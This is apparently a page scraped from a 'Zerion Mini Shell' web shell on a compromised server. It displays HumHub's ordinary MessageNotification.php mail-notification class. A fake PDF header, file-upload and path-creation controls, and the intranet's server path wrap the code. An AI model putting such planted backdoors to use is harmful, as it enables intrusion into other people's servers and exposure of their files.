%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/vacivi36/intranet.vacivitta.com.br/protected/modules/mail/models/
Upload File :
Create Path :
Current File : /home/vacivi36/intranet.vacivitta.com.br/protected/modules/mail/models/MessageNotification.php

<?php


namespace humhub\modules\mail\models;


use humhub\modules\content\widgets\richtext\converter\RichTextToEmailHtmlConverter;
use humhub\modules\content\widgets\richtext\converter\RichTextToHtmlConverter;
use humhub\modules\mail\live\NewUserMessage;
use humhub\modules\mail\notifications\ConversationNotificationCategory;
use humhub\modules\mail\notifications\MailNotificationCategory;
use humhub\modules\notification\components\NotificationCategory;
use humhub\modules\notification\targets\MailTarget;
use humhub\modules\user\models\User;
use Yii;
use yii\base\Model;use yii\helpers\Html;

class MessageNotification extends Model
{
    /**
     * @var Message
     */
    public $message;

    /**
     * @var MessageEntry
     */
    public $entry;

    /**
     * @var bool $isNewConversation Flag for notification type: Conversation vs Message
     */
    public $isNewConversation = false;

    public function __construct(Message $message, MessageEntry $entry = null)
    {
        $this->message = $message;
        $this->entry = $entry ?: $this->message->lastEntry;
        parent::__construct([]);
    }

    public function notifyAll()
    {
        foreach ($this->message->users as $user) {
            $this->notify($user);
        }
    }

    public function notify(User $user)
    {
        try {
            $this->sendLiveEvent($user);

            // Backup the flag because it may be forced per user in order to select a proper notification type
            $isNewConversation = $this->isNewConversation;

            if ($this->isSendMail($user)) {
                $this->sendMail($user);
            }

            // Restore the flag
            $this->isNewConversation = $isNewConversation;
        } catch (\Exception $e) {
            Yii::error('Could not send notification e-mail to: ' . $user->username . ". Error:" . $e->getMessage());
        }
    }

    private function sendLiveEvent(User $user)
    {
        Yii::$app->live->send(new NewUserMessage([
            'contentContainerId' => $user->contentcontainer_id,
            'message_id' => $this->message->id,
            'user_guid' => $this->entry->user->guid
        ]));
    }

    private function isSendMail(User $user): bool
    {
        if ($user->is($this->getEntrySender())) {
            return false;
        }

        if (!($mailTarget = Yii::$app->notification->getTarget(MailTarget::class))) {
            return false;
        }

        if ($mailTarget->isCategoryEnabled($this->getNotificationCategory(), $user)) {
            return true;
        }

        // Try to send notification as "New message" when notification "New conversation" is disabled for the user
        if ($this->isNewConversation && $mailTarget->isCategoryEnabled(new MailNotificationCategory(), $user)) {
            $this->isNewConversation = false;
            return true;
        }

        return false;
    }

    private function getNotificationCategory(): NotificationCategory
    {
        return $this->isNewConversation
            ? new ConversationNotificationCategory()
            : new MailNotificationCategory();
    }

    private function sendMail(User $user)
    {
        Yii::$app->i18n->setUserLocale($user);

        $mail = Yii::$app->mailer->compose([
            'html' => '@mail/views/emails/NewMessage',
            'text' => '@mail/views/emails/plaintext/NewMessage'
        ], [
            'user' => $user,
            'headline' => $this->getHeadline(),
            'senderUrl' => $this->getEntrySender()->createUrl(null, [], true),
            'subHeadline' => $this->getSubHeadline(),
            'content' => $this->getContent($user),
            'message' => $this->message,
            'originator' => $this->getMessageOriginator(),
            'entry' => $this->entry,
            'sender' => $this->getEntrySender(),
        ]);

        $mail->setFrom([Yii::$app->settings->get('mailer.systemEmailAddress') => Yii::$app->settings->get('mailer.systemEmailName')]);
        $mail->setTo($user->email);
        $mail->setSubject($this->getSubject());
        $mail->send();

        Yii::$app->i18n->autosetLocale();
    }

    protected function getContent(User $user)
    {
        return RichTextToEmailHtmlConverter::process($this->entry->content, [
            RichTextToEmailHtmlConverter::OPTION_RECEIVER_USER => $user,
            RichTextToHtmlConverter::OPTION_LINK_AS_TEXT => true,
            RichTextToHtmlConverter::OPTION_CACHE_KEY => 'mail_entry_message_' . $this->entry->id,
        ]);
    }

    protected function getHeadline(): string
    {
        return $this->isNewConversation
            ? Yii::t('MailModule.views_emails_NewMessage', '<strong>New</strong> conversation')
            : Yii::t('MailModule.views_emails_NewMessage', '<strong>New</strong> message');
    }

    protected function getSubHeadline(): string
    {
        $params = [
            'senderName' => Html::encode($this->getEntrySender()->displayName),
            'conversationTitle' => '"' . Html::encode($this->message->title) . '"',
        ];

        return $this->isNewConversation
            ? Yii::t('MailModule.views_emails_NewMessageEntry', '{senderName} created a new conversation {conversationTitle}', $params)
            : Yii::t('MailModule.views_emails_NewMessageEntry', '{senderName} sent you a new message in {conversationTitle}',  $params);
    }

    /**
     * @return User
     */
    protected function getMessageOriginator()
    {
        return $this->message->originator;
    }

    /**
     * @return User
     */
    protected function getEntrySender()
    {
        return $this->entry->user;
    }

    protected function getSubject(): string
    {
        $params = ['{senderName}' => $this->getEntrySender()->displayName];

        return $this->isNewConversation
            ? Yii::t('MailModule.models_Message', 'New conversation from {senderName}', $params)
            : Yii::t('MailModule.models_Message', 'New message from {senderName}', $params);
    }

}

Zerion Mini Shell 1.0